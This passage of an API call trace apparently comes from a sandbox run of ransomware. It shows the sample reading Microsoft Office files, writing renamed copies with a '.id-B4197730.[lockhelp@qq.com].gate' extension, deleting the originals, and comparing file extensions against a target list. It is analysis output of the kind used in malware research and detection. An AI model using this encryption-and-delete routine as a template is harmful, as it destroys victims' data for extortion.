hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x2667, lpOverlapped=0x0) returned 1 [0319.001] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2670, lpOverlapped=0x0) returned 1 [0319.002] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.002] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x106, lpOverlapped=0x0) returned 1 [0319.002] SetEndOfFile (hFile=0x37c) returned 1 [0319.002] CloseHandle (hObject=0x37c) returned 1 [0319.002] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.002] SetEndOfFile (hFile=0x378) returned 1 [0319.003] CloseHandle (hObject=0x378) returned 1 [0319.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0319.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.003] lstrlenW (lpString=".doc") returned 4 [0319.003] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0319.004] lstrlenW (lpString=".docx") returned 5 [0319.004] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0319.004] lstrlenW (lpString=".pdf") returned 4 [0319.004] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0319.004] lstrlenW (lpString=".xls") returned 4 [0319.004] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0319.004] lstrlenW (lpString=".xlsx") returned 5 [0319.004] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0319.004] lstrlenW (lpString=".ppt") returned 4 [0319.004] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0319.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.004] lstrlenW (lpString=".zip") returned 4 [0319.004] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0319.004] lstrlenW (lpString=".rar") returned 4 [0319.004] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0319.004] lstrlenW (lpString=".bz2") returned 4 [0319.004] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0319.004] lstrlenW (lpString=".7z") returned 3 [0319.004] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0319.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.004] lstrlenW (lpString=".dbf") returned 4 [0319.004] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0319.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.004] lstrlenW (lpString=".1cd") returned 4 [0319.004] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0319.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.004] lstrlenW (lpString=".jpg") returned 4 [0319.004] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0319.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.004] lstrlenW (lpString=".doc") returned 4 [0319.004] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0319.004] lstrlenW (lpString=".docx") returned 5 [0319.005] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0319.005] lstrlenW (lpString=".pdf") returned 4 [0319.005] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0319.005] lstrlenW (lpString=".xls") returned 4 [0319.005] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0319.005] lstrlenW (lpString=".xlsx") returned 5 [0319.005] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0319.005] lstrlenW (lpString=".ppt") returned 4 [0319.005] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0319.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.005] lstrlenW (lpString=".zip") returned 4 [0319.005] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0319.005] lstrlenW (lpString=".rar") returned 4 [0319.005] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0319.005] lstrlenW (lpString=".bz2") returned 4 [0319.005] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0319.005] lstrlenW (lpString=".7z") returned 3 [0319.005] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0319.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.005] lstrlenW (lpString=".dbf") returned 4 [0319.005] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0319.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.005] lstrlenW (lpString=".1cd") returned 4 [0319.005] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0319.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0319.005] lstrlenW (lpString=".jpg") returned 4 [0319.005] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0319.005] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0319.005] lstrlenW (lpString="AuthoredExtensions.xml") returned 22 [0319.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.006] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=373) returned 1 [0319.006] CloseHandle (hObject=0x378) returned 1 [0319.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0319.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.006] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.006] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0319.006] GetLastError () returned 0x0 [0319.006] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x175, lpOverlapped=0x0) returned 1 [0319.007] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x180, lpOverlapped=0x0) returned 1 [0319.008] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.008] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x100, lpOverlapped=0x0) returned 1 [0319.009] SetEndOfFile (hFile=0x37c) returned 1 [0319.009] CloseHandle (hObject=0x37c) returned 1 [0319.009] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.009] SetEndOfFile (hFile=0x378) returned 1 [0319.010] CloseHandle (hObject=0x378) returned 1 [0319.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0319.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.010] lstrlenW (lpString=".doc") returned 4 [0319.010] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0319.010] lstrlenW (lpString=".docx") returned 5 [0319.010] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0319.010] lstrlenW (lpString=".pdf") returned 4 [0319.010] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0319.010] lstrlenW (lpString=".xls") returned 4 [0319.011] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0319.011] lstrlenW (lpString=".xlsx") returned 5 [0319.011] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0319.011] lstrlenW (lpString=".ppt") returned 4 [0319.011] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0319.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.011] lstrlenW (lpString=".zip") returned 4 [0319.011] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0319.011] lstrlenW (lpString=".rar") returned 4 [0319.011] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0319.011] lstrlenW (lpString=".bz2") returned 4 [0319.011] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0319.011] lstrlenW (lpString=".7z") returned 3 [0319.011] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0319.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.011] lstrlenW (lpString=".dbf") returned 4 [0319.011] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0319.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.011] lstrlenW (lpString=".1cd") returned 4 [0319.011] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0319.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.011] lstrlenW (lpString=".jpg") returned 4 [0319.011] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0319.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.011] lstrlenW (lpString=".doc") returned 4 [0319.011] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0319.011] lstrlenW (lpString=".docx") returned 5 [0319.011] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0319.011] lstrlenW (lpString=".pdf") returned 4 [0319.011] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0319.011] lstrlenW (lpString=".xls") returned 4 [0319.011] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0319.012] lstrlenW (lpString=".xlsx") returned 5 [0319.012] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0319.012] lstrlenW (lpString=".ppt") returned 4 [0319.012] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0319.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.012] lstrlenW (lpString=".zip") returned 4 [0319.012] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0319.012] lstrlenW (lpString=".rar") returned 4 [0319.012] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0319.012] lstrlenW (lpString=".bz2") returned 4 [0319.012] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0319.012] lstrlenW (lpString=".7z") returned 3 [0319.012] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0319.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.012] lstrlenW (lpString=".dbf") returned 4 [0319.012] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0319.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.012] lstrlenW (lpString=".1cd") returned 4 [0319.012] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0319.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0319.012] lstrlenW (lpString=".jpg") returned 4 [0319.012] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0319.012] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.012] lstrlenW (lpString="AG00004_.GIF") returned 12 [0319.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.013] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=9024) returned 1 [0319.013] CloseHandle (hObject=0x378) returned 1 [0319.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0319.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.013] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.013] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0319.013] GetLastError () returned 0x0 [0319.013] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x2340, lpOverlapped=0x0) returned 1 [0319.014] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2350, lpOverlapped=0x0) returned 1 [0319.015] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.015] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0319.015] SetEndOfFile (hFile=0x37c) returned 1 [0319.016] CloseHandle (hObject=0x37c) returned 1 [0319.016] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.016] SetEndOfFile (hFile=0x378) returned 1 [0319.016] CloseHandle (hObject=0x378) returned 1 [0319.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0319.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.017] lstrlenW (lpString=".doc") returned 4 [0319.017] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.017] lstrlenW (lpString=".docx") returned 5 [0319.017] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.017] lstrlenW (lpString=".pdf") returned 4 [0319.017] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.017] lstrlenW (lpString=".xls") returned 4 [0319.017] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.017] lstrlenW (lpString=".xlsx") returned 5 [0319.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.017] lstrlenW (lpString=".ppt") returned 4 [0319.017] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.017] lstrlenW (lpString=".zip") returned 4 [0319.017] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.017] lstrlenW (lpString=".rar") returned 4 [0319.017] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.018] lstrlenW (lpString=".bz2") returned 4 [0319.018] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.018] lstrlenW (lpString=".7z") returned 3 [0319.018] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.018] lstrlenW (lpString=".dbf") returned 4 [0319.018] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.018] lstrlenW (lpString=".1cd") returned 4 [0319.018] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.018] lstrlenW (lpString=".jpg") returned 4 [0319.018] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.018] lstrlenW (lpString=".doc") returned 4 [0319.018] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.018] lstrlenW (lpString=".docx") returned 5 [0319.018] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.018] lstrlenW (lpString=".pdf") returned 4 [0319.018] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.018] lstrlenW (lpString=".xls") returned 4 [0319.018] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.018] lstrlenW (lpString=".xlsx") returned 5 [0319.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.018] lstrlenW (lpString=".ppt") returned 4 [0319.018] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.018] lstrlenW (lpString=".zip") returned 4 [0319.018] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.018] lstrlenW (lpString=".rar") returned 4 [0319.018] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.018] lstrlenW (lpString=".bz2") returned 4 [0319.019] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.019] lstrlenW (lpString=".7z") returned 3 [0319.019] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.019] lstrlenW (lpString=".dbf") returned 4 [0319.019] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.019] lstrlenW (lpString=".1cd") returned 4 [0319.019] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0319.019] lstrlenW (lpString=".jpg") returned 4 [0319.019] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.019] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.019] lstrlenW (lpString="AG00011_.GIF") returned 12 [0319.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.019] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=7216) returned 1 [0319.019] CloseHandle (hObject=0x378) returned 1 [0319.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0319.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0319.020] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.020] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0319.020] GetLastError () returned 0x0 [0319.020] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x1c30, lpOverlapped=0x0) returned 1 [0319.021] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1c40, lpOverlapped=0x0) returned 1 [0319.022] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.022] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, 